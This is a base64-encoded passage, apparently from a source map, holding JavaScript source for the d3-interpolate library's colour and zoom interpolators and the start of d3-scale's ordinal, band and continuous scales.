tcblxuZnVuY3Rpb24gY29zaCh4KSB7XG4gIHJldHVybiAoKHggPSBNYXRoLmV4cCh4KSkgKyAxIC8geCkgLyAyO1xufVxuXG5mdW5jdGlvbiBzaW5oKHgpIHtcbiAgcmV0dXJuICgoeCA9IE1hdGguZXhwKHgpKSAtIDEgLyB4KSAvIDI7XG59XG5cbmZ1bmN0aW9uIHRhbmgoeCkge1xuICByZXR1cm4gKCh4ID0gTWF0aC5leHAoMiAqIHgpKSAtIDEpIC8gKHggKyAxKTtcbn1cblxuLy8gcDAgPSBbdXgwLCB1eTAsIHcwXVxuLy8gcDEgPSBbdXgxLCB1eTEsIHcxXVxudmFyIHpvb20gPSBmdW5jdGlvbihwMCwgcDEpIHtcbiAgdmFyIHV4MCA9IHAwWzBdLCB1eTAgPSBwMFsxXSwgdzAgPSBwMFsyXSxcbiAgICAgIHV4MSA9IHAxWzBdLCB1eTEgPSBwMVsxXSwgdzEgPSBwMVsyXSxcbiAgICAgIGR4ID0gdXgxIC0gdXgwLFxuICAgICAgZHkgPSB1eTEgLSB1eTAsXG4gICAgICBkMiA9IGR4ICogZHggKyBkeSAqIGR5LFxuICAgICAgaSxcbiAgICAgIFM7XG5cbiAgLy8gU3BlY2lhbCBjYXNlIGZvciB1MCDiiYUgdTEuXG4gIGlmIChkMiA8IGVwc2lsb24yKSB7XG4gICAgUyA9IE1hdGgubG9nKHcxIC8gdzApIC8gcmhvO1xuICAgIGkgPSBmdW5jdGlvbih0KSB7XG4gICAgICByZXR1cm4gW1xuICAgICAgICB1eDAgKyB0ICogZHgsXG4gICAgICAgIHV5MCArIHQgKiBkeSxcbiAgICAgICAgdzAgKiBNYXRoLmV4cChyaG8gKiB0ICogUylcbiAgICAgIF07XG4gICAgfTtcbiAgfVxuXG4gIC8vIEdlbmVyYWwgY2FzZS5cbiAgZWxzZSB7XG4gICAgdmFyIGQxID0gTWF0aC5zcXJ0KGQyKSxcbiAgICAgICAgYjAgPSAodzEgKiB3MSAtIHcwICogdzAgKyByaG80ICogZDIpIC8gKDIgKiB3MCAqIHJobzIgKiBkMSksXG4gICAgICAgIGIxID0gKHcxICogdzEgLSB3MCAqIHcwIC0gcmhvNCAqIGQyKSAvICgyICogdzEgKiByaG8yICogZDEpLFxuICAgICAgICByMCA9IE1hdGgubG9nKE1hdGguc3FydChiMCAqIGIwICsgMSkgLSBiMCksXG4gICAgICAgIHIxID0gTWF0aC5sb2coTWF0aC5zcXJ0KGIxICogYjEgKyAxKSAtIGIxKTtcbiAgICBTID0gKHIxIC0gcjApIC8gcmhvO1xuICAgIGkgPSBmdW5jdGlvbih0KSB7XG4gICAgICB2YXIgcyA9IHQgKiBTLFxuICAgICAgICAgIGNvc2hyMCA9IGNvc2gocjApLFxuICAgICAgICAgIHUgPSB3MCAvIChyaG8yICogZDEpICogKGNvc2hyMCAqIHRhbmgocmhvICogcyArIHIwKSAtIHNpbmgocjApKTtcbiAgICAgIHJldHVybiBbXG4gICAgICAgIHV4MCArIHUgKiBkeCxcbiAgICAgICAgdXkwICsgdSAqIGR5LFxuICAgICAgICB3MCAqIGNvc2hyMCAvIGNvc2gocmhvICogcyArIHIwKVxuICAgICAgXTtcbiAgICB9O1xuICB9XG5cbiAgaS5kdXJhdGlvbiA9IFMgKiAxMDAwO1xuXG4gIHJldHVybiBpO1xufTtcblxuZnVuY3Rpb24gaHNsJDEoaHVlJCQxKSB7XG4gIHJldHVybiBmdW5jdGlvbihzdGFydCwgZW5kKSB7XG4gICAgdmFyIGggPSBodWUkJDEoKHN0YXJ0ID0gZDNDb2xvci5oc2woc3RhcnQpKS5oLCAoZW5kID0gZDNDb2xvci5oc2woZW5kKSkuaCksXG4gICAgICAgIHMgPSBub2dhbW1hKHN0YXJ0LnMsIGVuZC5zKSxcbiAgICAgICAgbCA9IG5vZ2FtbWEoc3RhcnQubCwgZW5kLmwpLFxuICAgICAgICBvcGFjaXR5ID0gbm9nYW1tYShzdGFydC5vcGFjaXR5LCBlbmQub3BhY2l0eSk7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICAgIHN0YXJ0LmggPSBoKHQpO1xuICAgICAgc3RhcnQucyA9IHModCk7XG4gICAgICBzdGFydC5sID0gbCh0KTtcbiAgICAgIHN0YXJ0Lm9wYWNpdHkgPSBvcGFjaXR5KHQpO1xuICAgICAgcmV0dXJuIHN0YXJ0ICsgXCJcIjtcbiAgICB9O1xuICB9XG59XG5cbnZhciBoc2wkMiA9IGhzbCQxKGh1ZSk7XG52YXIgaHNsTG9uZyA9IGhzbCQxKG5vZ2FtbWEpO1xuXG5mdW5jdGlvbiBsYWIkMShzdGFydCwgZW5kKSB7XG4gIHZhciBsID0gbm9nYW1tYSgoc3RhcnQgPSBkM0NvbG9yLmxhYihzdGFydCkpLmwsIChlbmQgPSBkM0NvbG9yLmxhYihlbmQpKS5sKSxcbiAgICAgIGEgPSBub2dhbW1hKHN0YXJ0LmEsIGVuZC5hKSxcbiAgICAgIGIgPSBub2dhbW1hKHN0YXJ0LmIsIGVuZC5iKSxcbiAgICAgIG9wYWNpdHkgPSBub2dhbW1hKHN0YXJ0Lm9wYWNpdHksIGVuZC5vcGFjaXR5KTtcbiAgcmV0dXJuIGZ1bmN0aW9uKHQpIHtcbiAgICBzdGFydC5sID0gbCh0KTtcbiAgICBzdGFydC5hID0gYSh0KTtcbiAgICBzdGFydC5iID0gYih0KTtcbiAgICBzdGFydC5vcGFjaXR5ID0gb3BhY2l0eSh0KTtcbiAgICByZXR1cm4gc3RhcnQgKyBcIlwiO1xuICB9O1xufVxuXG5mdW5jdGlvbiBoY2wkMShodWUkJDEpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uKHN0YXJ0LCBlbmQpIHtcbiAgICB2YXIgaCA9IGh1ZSQkMSgoc3RhcnQgPSBkM0NvbG9yLmhjbChzdGFydCkpLmgsIChlbmQgPSBkM0NvbG9yLmhjbChlbmQpKS5oKSxcbiAgICAgICAgYyA9IG5vZ2FtbWEoc3RhcnQuYywgZW5kLmMpLFxuICAgICAgICBsID0gbm9nYW1tYShzdGFydC5sLCBlbmQubCksXG4gICAgICAgIG9wYWNpdHkgPSBub2dhbW1hKHN0YXJ0Lm9wYWNpdHksIGVuZC5vcGFjaXR5KTtcbiAgICByZXR1cm4gZnVuY3Rpb24odCkge1xuICAgICAgc3RhcnQuaCA9IGgodCk7XG4gICAgICBzdGFydC5jID0gYyh0KTtcbiAgICAgIHN0YXJ0LmwgPSBsKHQpO1xuICAgICAgc3RhcnQub3BhY2l0eSA9IG9wYWNpdHkodCk7XG4gICAgICByZXR1cm4gc3RhcnQgKyBcIlwiO1xuICAgIH07XG4gIH1cbn1cblxudmFyIGhjbCQyID0gaGNsJDEoaHVlKTtcbnZhciBoY2xMb25nID0gaGNsJDEobm9nYW1tYSk7XG5cbmZ1bmN0aW9uIGN1YmVoZWxpeCQxKGh1ZSQkMSkge1xuICByZXR1cm4gKGZ1bmN0aW9uIGN1YmVoZWxpeEdhbW1hKHkpIHtcbiAgICB5ID0gK3k7XG5cbiAgICBmdW5jdGlvbiBjdWJlaGVsaXgkJDEoc3RhcnQsIGVuZCkge1xuICAgICAgdmFyIGggPSBodWUkJDEoKHN0YXJ0ID0gZDNDb2xvci5jdWJlaGVsaXgoc3RhcnQpKS5oLCAoZW5kID0gZDNDb2xvci5jdWJlaGVsaXgoZW5kKSkuaCksXG4gICAgICAgICAgcyA9IG5vZ2FtbWEoc3RhcnQucywgZW5kLnMpLFxuICAgICAgICAgIGwgPSBub2dhbW1hKHN0YXJ0LmwsIGVuZC5sKSxcbiAgICAgICAgICBvcGFjaXR5ID0gbm9nYW1tYShzdGFydC5vcGFjaXR5LCBlbmQub3BhY2l0eSk7XG4gICAgICByZXR1cm4gZnVuY3Rpb24odCkge1xuICAgICAgICBzdGFydC5oID0gaCh0KTtcbiAgICAgICAgc3RhcnQucyA9IHModCk7XG4gICAgICAgIHN0YXJ0LmwgPSBsKE1hdGgucG93KHQsIHkpKTtcbiAgICAgICAgc3RhcnQub3BhY2l0eSA9IG9wYWNpdHkodCk7XG4gICAgICAgIHJldHVybiBzdGFydCArIFwiXCI7XG4gICAgICB9O1xuICAgIH1cblxuICAgIGN1YmVoZWxpeCQkMS5nYW1tYSA9IGN1YmVoZWxpeEdhbW1hO1xuXG4gICAgcmV0dXJuIGN1YmVoZWxpeCQkMTtcbiAgfSkoMSk7XG59XG5cbnZhciBjdWJlaGVsaXgkMiA9IGN1YmVoZWxpeCQxKGh1ZSk7XG52YXIgY3ViZWhlbGl4TG9uZyA9IGN1YmVoZWxpeCQxKG5vZ2FtbWEpO1xuXG52YXIgcXVhbnRpemUgPSBmdW5jdGlvbihpbnRlcnBvbGF0b3IsIG4pIHtcbiAgdmFyIHNhbXBsZXMgPSBuZXcgQXJyYXkobik7XG4gIGZvciAodmFyIGkgPSAwOyBpIDwgbjsgKytpKSBzYW1wbGVzW2ldID0gaW50ZXJwb2xhdG9yKGkgLyAobiAtIDEpKTtcbiAgcmV0dXJuIHNhbXBsZXM7XG59O1xuXG5leHBvcnRzLmludGVycG9sYXRlID0gdmFsdWU7XG5leHBvcnRzLmludGVycG9sYXRlQXJyYXkgPSBhcnJheTtcbmV4cG9ydHMuaW50ZXJwb2xhdGVCYXNpcyA9IGJhc2lzJDE7XG5leHBvcnRzLmludGVycG9sYXRlQmFzaXNDbG9zZWQgPSBiYXNpc0Nsb3NlZDtcbmV4cG9ydHMuaW50ZXJwb2xhdGVEYXRlID0gZGF0ZTtcbmV4cG9ydHMuaW50ZXJwb2xhdGVOdW1iZXIgPSBudW1iZXI7XG5leHBvcnRzLmludGVycG9sYXRlT2JqZWN0ID0gb2JqZWN0O1xuZXhwb3J0cy5pbnRlcnBvbGF0ZVJvdW5kID0gcm91bmQ7XG5leHBvcnRzLmludGVycG9sYXRlU3RyaW5nID0gc3RyaW5nO1xuZXhwb3J0cy5pbnRlcnBvbGF0ZVRyYW5zZm9ybUNzcyA9IGludGVycG9sYXRlVHJhbnNmb3JtQ3NzO1xuZXhwb3J0cy5pbnRlcnBvbGF0ZVRyYW5zZm9ybVN2ZyA9IGludGVycG9sYXRlVHJhbnNmb3JtU3ZnO1xuZXhwb3J0cy5pbnRlcnBvbGF0ZVpvb20gPSB6b29tO1xuZXhwb3J0cy5pbnRlcnBvbGF0ZVJnYiA9IHJnYiQxO1xuZXhwb3J0cy5pbnRlcnBvbGF0ZVJnYkJhc2lzID0gcmdiQmFzaXM7XG5leHBvcnRzLmludGVycG9sYXRlUmdiQmFzaXNDbG9zZWQgPSByZ2JCYXNpc0Nsb3NlZDtcbmV4cG9ydHMuaW50ZXJwb2xhdGVIc2wgPSBoc2wkMjtcbmV4cG9ydHMuaW50ZXJwb2xhdGVIc2xMb25nID0gaHNsTG9uZztcbmV4cG9ydHMuaW50ZXJwb2xhdGVMYWIgPSBsYWIkMTtcbmV4cG9ydHMuaW50ZXJwb2xhdGVIY2wgPSBoY2wkMjtcbmV4cG9ydHMuaW50ZXJwb2xhdGVIY2xMb25nID0gaGNsTG9uZztcbmV4cG9ydHMuaW50ZXJwb2xhdGVDdWJlaGVsaXggPSBjdWJlaGVsaXgkMjtcbmV4cG9ydHMuaW50ZXJwb2xhdGVDdWJlaGVsaXhMb25nID0gY3ViZWhlbGl4TG9uZztcbmV4cG9ydHMucXVhbnRpemUgPSBxdWFudGl6ZTtcblxuT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywgeyB2YWx1ZTogdHJ1ZSB9KTtcblxufSkpKTtcbiIsIi8vIGh0dHBzOi8vZDNqcy5vcmcvZDMtc2NhbGUvIFZlcnNpb24gMS4wLjMuIENvcHlyaWdodCAyMDE2IE1pa2UgQm9zdG9jay5cbihmdW5jdGlvbiAoZ2xvYmFsLCBmYWN0b3J5KSB7XG4gIHR5cGVvZiBleHBvcnRzID09PSAnb2JqZWN0JyAmJiB0eXBlb2YgbW9kdWxlICE9PSAndW5kZWZpbmVkJyA/IGZhY3RvcnkoZXhwb3J0cywgcmVxdWlyZSgnZDMtYXJyYXknKSwgcmVxdWlyZSgnZDMtY29sbGVjdGlvbicpLCByZXF1aXJlKCdkMy1pbnRlcnBvbGF0ZScpLCByZXF1aXJlKCdkMy1mb3JtYXQnKSwgcmVxdWlyZSgnZDMtdGltZScpLCByZXF1aXJlKCdkMy10aW1lLWZvcm1hdCcpLCByZXF1aXJlKCdkMy1jb2xvcicpKSA6XG4gIHR5cGVvZiBkZWZpbmUgPT09ICdmdW5jdGlvbicgJiYgZGVmaW5lLmFtZCA/IGRlZmluZShbJ2V4cG9ydHMnLCAnZDMtYXJyYXknLCAnZDMtY29sbGVjdGlvbicsICdkMy1pbnRlcnBvbGF0ZScsICdkMy1mb3JtYXQnLCAnZDMtdGltZScsICdkMy10aW1lLWZvcm1hdCcsICdkMy1jb2xvciddLCBmYWN0b3J5KSA6XG4gIChmYWN0b3J5KChnbG9iYWwuZDMgPSBnbG9iYWwuZDMgfHwge30pLGdsb2JhbC5kMyxnbG9iYWwuZDMsZ2xvYmFsLmQzLGdsb2JhbC5kMyxnbG9iYWwuZDMsZ2xvYmFsLmQzLGdsb2JhbC5kMykpO1xufSh0aGlzLCBmdW5jdGlvbiAoZXhwb3J0cyxkM0FycmF5LGQzQ29sbGVjdGlvbixkM0ludGVycG9sYXRlLGQzRm9ybWF0LGQzVGltZSxkM1RpbWVGb3JtYXQsZDNDb2xvcikgeyAndXNlIHN0cmljdCc7XG5cbiAgdmFyIGFycmF5ID0gQXJyYXkucHJvdG90eXBlO1xuXG4gIHZhciBtYXAkMSA9IGFycmF5Lm1hcDtcbiAgdmFyIHNsaWNlID0gYXJyYXkuc2xpY2U7XG5cbiAgdmFyIGltcGxpY2l0ID0ge25hbWU6IFwiaW1wbGljaXRcIn07XG5cbiAgZnVuY3Rpb24gb3JkaW5hbChyYW5nZSkge1xuICAgIHZhciBpbmRleCA9IGQzQ29sbGVjdGlvbi5tYXAoKSxcbiAgICAgICAgZG9tYWluID0gW10sXG4gICAgICAgIHVua25vd24gPSBpbXBsaWNpdDtcblxuICAgIHJhbmdlID0gcmFuZ2UgPT0gbnVsbCA/IFtdIDogc2xpY2UuY2FsbChyYW5nZSk7XG5cbiAgICBmdW5jdGlvbiBzY2FsZShkKSB7XG4gICAgICB2YXIga2V5ID0gZCArIFwiXCIsIGkgPSBpbmRleC5nZXQoa2V5KTtcbiAgICAgIGlmICghaSkge1xuICAgICAgICBpZiAodW5rbm93biAhPT0gaW1wbGljaXQpIHJldHVybiB1bmtub3duO1xuICAgICAgICBpbmRleC5zZXQoa2V5LCBpID0gZG9tYWluLnB1c2goZCkpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJhbmdlWyhpIC0gMSkgJSByYW5nZS5sZW5ndGhdO1xuICAgIH1cblxuICAgIHNjYWxlLmRvbWFpbiA9IGZ1bmN0aW9uKF8pIHtcbiAgICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIGRvbWFpbi5zbGljZSgpO1xuICAgICAgZG9tYWluID0gW10sIGluZGV4ID0gZDNDb2xsZWN0aW9uLm1hcCgpO1xuICAgICAgdmFyIGkgPSAtMSwgbiA9IF8ubGVuZ3RoLCBkLCBrZXk7XG4gICAgICB3aGlsZSAoKytpIDwgbikgaWYgKCFpbmRleC5oYXMoa2V5ID0gKGQgPSBfW2ldKSArIFwiXCIpKSBpbmRleC5zZXQoa2V5LCBkb21haW4ucHVzaChkKSk7XG4gICAgICByZXR1cm4gc2NhbGU7XG4gICAgfTtcblxuICAgIHNjYWxlLnJhbmdlID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAocmFuZ2UgPSBzbGljZS5jYWxsKF8pLCBzY2FsZSkgOiByYW5nZS5zbGljZSgpO1xuICAgIH07XG5cbiAgICBzY2FsZS51bmtub3duID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAodW5rbm93biA9IF8sIHNjYWxlKSA6IHVua25vd247XG4gICAgfTtcblxuICAgIHNjYWxlLmNvcHkgPSBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiBvcmRpbmFsKClcbiAgICAgICAgICAuZG9tYWluKGRvbWFpbilcbiAgICAgICAgICAucmFuZ2UocmFuZ2UpXG4gICAgICAgICAgLnVua25vd24odW5rbm93bik7XG4gICAgfTtcblxuICAgIHJldHVybiBzY2FsZTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGJhbmQoKSB7XG4gICAgdmFyIHNjYWxlID0gb3JkaW5hbCgpLnVua25vd24odW5kZWZpbmVkKSxcbiAgICAgICAgZG9tYWluID0gc2NhbGUuZG9tYWluLFxuICAgICAgICBvcmRpbmFsUmFuZ2UgPSBzY2FsZS5yYW5nZSxcbiAgICAgICAgcmFuZ2UgPSBbMCwgMV0sXG4gICAgICAgIHN0ZXAsXG4gICAgICAgIGJhbmR3aWR0aCxcbiAgICAgICAgcm91bmQgPSBmYWxzZSxcbiAgICAgICAgcGFkZGluZ0lubmVyID0gMCxcbiAgICAgICAgcGFkZGluZ091dGVyID0gMCxcbiAgICAgICAgYWxpZ24gPSAwLjU7XG5cbiAgICBkZWxldGUgc2NhbGUudW5rbm93bjtcblxuICAgIGZ1bmN0aW9uIHJlc2NhbGUoKSB7XG4gICAgICB2YXIgbiA9IGRvbWFpbigpLmxlbmd0aCxcbiAgICAgICAgICByZXZlcnNlID0gcmFuZ2VbMV0gPCByYW5nZVswXSxcbiAgICAgICAgICBzdGFydCA9IHJhbmdlW3JldmVyc2UgLSAwXSxcbiAgICAgICAgICBzdG9wID0gcmFuZ2VbMSAtIHJldmVyc2VdO1xuICAgICAgc3RlcCA9IChzdG9wIC0gc3RhcnQpIC8gTWF0aC5tYXgoMSwgbiAtIHBhZGRpbmdJbm5lciArIHBhZGRpbmdPdXRlciAqIDIpO1xuICAgICAgaWYgKHJvdW5kKSBzdGVwID0gTWF0aC5mbG9vcihzdGVwKTtcbiAgICAgIHN0YXJ0ICs9IChzdG9wIC0gc3RhcnQgLSBzdGVwICogKG4gLSBwYWRkaW5nSW5uZXIpKSAqIGFsaWduO1xuICAgICAgYmFuZHdpZHRoID0gc3RlcCAqICgxIC0gcGFkZGluZ0lubmVyKTtcbiAgICAgIGlmIChyb3VuZCkgc3RhcnQgPSBNYXRoLnJvdW5kKHN0YXJ0KSwgYmFuZHdpZHRoID0gTWF0aC5yb3VuZChiYW5kd2lkdGgpO1xuICAgICAgdmFyIHZhbHVlcyA9IGQzQXJyYXkucmFuZ2UobikubWFwKGZ1bmN0aW9uKGkpIHsgcmV0dXJuIHN0YXJ0ICsgc3RlcCAqIGk7IH0pO1xuICAgICAgcmV0dXJuIG9yZGluYWxSYW5nZShyZXZlcnNlID8gdmFsdWVzLnJldmVyc2UoKSA6IHZhbHVlcyk7XG4gICAgfVxuXG4gICAgc2NhbGUuZG9tYWluID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAoZG9tYWluKF8pLCByZXNjYWxlKCkpIDogZG9tYWluKCk7XG4gICAgfTtcblxuICAgIHNjYWxlLnJhbmdlID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAocmFuZ2UgPSBbK19bMF0sICtfWzFdXSwgcmVzY2FsZSgpKSA6IHJhbmdlLnNsaWNlKCk7XG4gICAgfTtcblxuICAgIHNjYWxlLnJhbmdlUm91bmQgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gcmFuZ2UgPSBbK19bMF0sICtfWzFdXSwgcm91bmQgPSB0cnVlLCByZXNjYWxlKCk7XG4gICAgfTtcblxuICAgIHNjYWxlLmJhbmR3aWR0aCA9IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIGJhbmR3aWR0aDtcbiAgICB9O1xuXG4gICAgc2NhbGUuc3RlcCA9IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHN0ZXA7XG4gICAgfTtcblxuICAgIHNjYWxlLnJvdW5kID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAocm91bmQgPSAhIV8sIHJlc2NhbGUoKSkgOiByb3VuZDtcbiAgICB9O1xuXG4gICAgc2NhbGUucGFkZGluZyA9IGZ1bmN0aW9uKF8pIHtcbiAgICAgIHJldHVybiBhcmd1bWVudHMubGVuZ3RoID8gKHBhZGRpbmdJbm5lciA9IHBhZGRpbmdPdXRlciA9IE1hdGgubWF4KDAsIE1hdGgubWluKDEsIF8pKSwgcmVzY2FsZSgpKSA6IHBhZGRpbmdJbm5lcjtcbiAgICB9O1xuXG4gICAgc2NhbGUucGFkZGluZ0lubmVyID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAocGFkZGluZ0lubmVyID0gTWF0aC5tYXgoMCwgTWF0aC5taW4oMSwgXykpLCByZXNjYWxlKCkpIDogcGFkZGluZ0lubmVyO1xuICAgIH07XG5cbiAgICBzY2FsZS5wYWRkaW5nT3V0ZXIgPSBmdW5jdGlvbihfKSB7XG4gICAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aCA/IChwYWRkaW5nT3V0ZXIgPSBNYXRoLm1heCgwLCBNYXRoLm1pbigxLCBfKSksIHJlc2NhbGUoKSkgOiBwYWRkaW5nT3V0ZXI7XG4gICAgfTtcblxuICAgIHNjYWxlLmFsaWduID0gZnVuY3Rpb24oXykge1xuICAgICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGggPyAoYWxpZ24gPSBNYXRoLm1heCgwLCBNYXRoLm1pbigxLCBfKSksIHJlc2NhbGUoKSkgOiBhbGlnbjtcbiAgICB9O1xuXG4gICAgc2NhbGUuY29weSA9IGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIGJhbmQoKVxuICAgICAgICAgIC5kb21haW4oZG9tYWluKCkpXG4gICAgICAgICAgLnJhbmdlKHJhbmdlKVxuICAgICAgICAgIC5yb3VuZChyb3VuZClcbiAgICAgICAgICAucGFkZGluZ0lubmVyKHBhZGRpbmdJbm5lcilcbiAgICAgICAgICAucGFkZGluZ091dGVyKHBhZGRpbmdPdXRlcilcbiAgICAgICAgICAuYWxpZ24oYWxpZ24pO1xuICAgIH07XG5cbiAgICByZXR1cm4gcmVzY2FsZSgpO1xuICB9XG5cbiAgZnVuY3Rpb24gcG9pbnRpc2goc2NhbGUpIHtcbiAgICB2YXIgY29weSA9IHNjYWxlLmNvcHk7XG5cbiAgICBzY2FsZS5wYWRkaW5nID0gc2NhbGUucGFkZGluZ091dGVyO1xuICAgIGRlbGV0ZSBzY2FsZS5wYWRkaW5nSW5uZXI7XG4gICAgZGVsZXRlIHNjYWxlLnBhZGRpbmdPdXRlcjtcblxuICAgIHNjYWxlLmNvcHkgPSBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiBwb2ludGlzaChjb3B5KCkpO1xuICAgIH07XG5cbiAgICByZXR1cm4gc2NhbGU7XG4gIH1cblxuICBmdW5jdGlvbiBwb2ludCgpIHtcbiAgICByZXR1cm4gcG9pbnRpc2goYmFuZCgpLnBhZGRpbmdJbm5lcigxKSk7XG4gIH1cblxuICBmdW5jdGlvbiBjb25zdGFudCh4KSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgcmV0dXJuIHg7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIG51bWJlcih4KSB7XG4gICAgcmV0dXJuICt4O1xuICB9XG5cbiAgdmFyIHVuaXQgPSBbMCwgMV07XG5cbiAgZnVuY3Rpb24gZGVpbnRlcnBvbGF0ZShhLCBiKSB7XG4gICAgcmV0dXJuIChiIC09IChhID0gK2EpKVxuICAgICAgICA/IGZ1bmN0aW9uKHgpIHsgcmV0dXJuICh4IC0gYSkgLyBiOyB9XG4gICAgICAgIDogY29uc3RhbnQoYik7XG4gIH1cblxuICBmdW5jdGlvbiBkZWludGVycG9sYXRlQ2xhbXAoZGVpbnRlcnBvbGF0ZSkge1xuICAgIHJldHVybiBmdW5jdGlvbihhLCBiKSB7XG4gICAgICB2YXIgZCA9IGRlaW50ZXJwb2xhdGUoYSA9ICthLCBiID0gK2IpO1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKHgpIHsgcmV0dXJuIHggPD0gYSA/IDAgOiB4ID49IGIgPyAxIDogZCh4KTsgfTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gcmVpbnRlcnBvbGF0ZUNsYW1wKHJlaW50ZXJwb2xhdGUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oYSwgYikge1xuICAgICAgdmFyIHIgPSByZWludGVycG9sYXRlKGEgPSArYSwgYiA9ICtiKTtcbiAgICAgIHJldHVybiBmdW5jdGlvbih0KSB7IHJldHVybiB0IDw9IDAgPyBhIDogdCA+PSAxID8gYiA6IHIodCk7IH07XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIGJpbWFwKGRvbWFpbiwgcmFuZ2UsIGRlaW50ZXJwb2xhdGUsIHJlaW50ZXJwb2xhdGUpIHtcbiAgICB2YXIgZDAgPSBkb21haW5bMF0sIGQxID0gZG9tYWluWzFdLCByMCA9IHJhbmdlWzBdLCByMSA9IHJhbmdlWzFdO1xuICAgIGlmIChkMSA8IGQwKSBkMCA9IGRlaW50ZXJwb2xhdGUoZDEsIGQwKSwgcjAgPSByZWludGVycG9sYXRlKHIxLCByMCk7XG4gICAgZWxzZSBkMCA9IGRlaW50ZXJwb2xhdGUoZDAsIGQxKSwgcjAgPSByZWludGVycG9sYXRlKHIwLCByMSk7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKHgpIHsgcmV0dXJuIHIwKGQwKHgpKTsgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHBvbHltYXAoZG9tYWluLCByYW5nZSwgZGVpbnRlcnBvbGF0ZSwgcmVpbnRlcnBvbGF0ZSkge1xuICAgIHZhciBqID0gTWF0aC5taW4oZG9tYWluLmxlbmd0aCwgcmFuZ2UubGVuZ3RoKSAtIDEsXG4gICAgICAgIGQgPSBuZXcgQXJyYXkoaiksXG4gICAgICAgIHIgPSBuZXcgQXJyYXkoaiksXG4gICAgICAgIGkgPSAtMTtcblxuICAgIC8vIFJldmVyc2UgZGVzY2VuZGluZyBkb21haW5zLlxuICAgIGlmIChkb21haW5bal0gPCBkb21haW5bMF0pIHtcbiAgICAgIGRvbWFpbiA9IGRvbWFpbi5zbGljZSgpLnJldmVyc2UoKTtcbiAgICAgIHJhbmdlID0gcmFuZ2Uuc2xpY2UoKS5yZXZlcnNlKCk7XG4gICAgfVxuXG4gICAgd2hpbGUgKCsraSA8IGopIHtcbiAgICAgIGRbaV0gPSBkZWludGVycG9sYXRlKGRvbWFpbltpXSwgZG9tYWluW2kgKyAxXSk7XG4gICAgICByW2ldID0gcmVpbnRlcnBvbGF0ZShyYW5nZVtpXSwgcmFuZ2VbaSArIDFdKTtcbiAgICB9XG5cbiAgICByZXR1cm4gZnVuY3Rpb24oeCkge1xuICAgICAgdmFyIGkgPSBkM0FycmF5LmJpc2VjdChkb21haW4sIHgsIDEsIGopIC0gMTtcbiAgICAgIHJldHVybiByW2ldKGRbaV0oeCkpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBjb3B5KHNvdXJjZSwgdGFyZ2V0KSB7XG4gICAgcmV0dXJuIHRhcmdldFxuICAgICAgICAuZG9tYWluKHNvdXJjZS5kb21haW4oKSlcbiAgICAgICAgLnJhbmdlKHNvdXJjZS5yYW5nZSgpKVxuICAgICAgICAuaW50ZXJwb2xhdGUoc291cmNlLmludGVycG9sYXRlKCkpXG4gICAgICAgIC5jbGFtcChzb3VyY2UuY2xhbXAoKSk7XG4gIH1cblxuICAvLyBkZWludGVycG9sYXRlKGEsIGIpKHgpIHRha2VzIGEgZG9tYWluIHZhbHVlIHggaW4gW2EsYl0gYW5kIHJldHVybnMgdGhlIGNvcnJlc3BvbmRpbmcgcGFyYW1ldGVyIHQgaW4gWzAsMV0uXG4gIC8vIHJlaW50ZXJwb2xhdGUoYSwgYikodCkgdGFrZXMgYSBwYXJhbWV0ZXIgdCBpbiBbMCwxXSBhbmQgcmV0dXJucyB0aGUgY29ycmVzcG9uZGluZyBkb21haW4gdmFsdWUgeCBpbiBbYSxiXS5cbiAgZnVuY3Rpb24gY29udGludW91cyhkZWludGVycG9sYXRlJCQsIHJlaW50ZXJwb2xhdGUpIHtcbiAgICB2YXIgZG9tYWluID0gdW5pdCxcbiAgICAgICAgcmFuZ2UgPSB1bml0LFxuICAgICAgICBpbnRlcnBvbGF0ZSA9IGQzSW50ZXJwb2xhdGUuaW50ZXJwb2xhdGUsXG4gICAgICAgIGNsYW1wID0gZmFsc2UsXG4gICAgICAgIHBpZWNld2lzZSxcbiAgICAgICAgb3V0cHV0LFxuICAgICAgICBpbnB1dDtcblxuICAgIGZ1bmN0aW9uIHJlc2NhbGUoKSB7XG4gICAgICBwaWVjZXdpc2UgPSBNYXRoLm1pbihkb21haW4ubGVuZ3RoLCByYW5nZS5sZW5ndGgpID4gMiA/IHBvbHltYXAgOiBiaW1hcDtcbiAgICAgIG91dHB1dCA9IGlucHV0ID0gbnVsbDtcbiAgICAgIHJldHVybiBzY2FsZTtcbiAgICB9XG5cbiAgICBmdW5jdGlvbiBzY2FsZSh4KSB7XG4gICAgICByZXR1cm4gKG9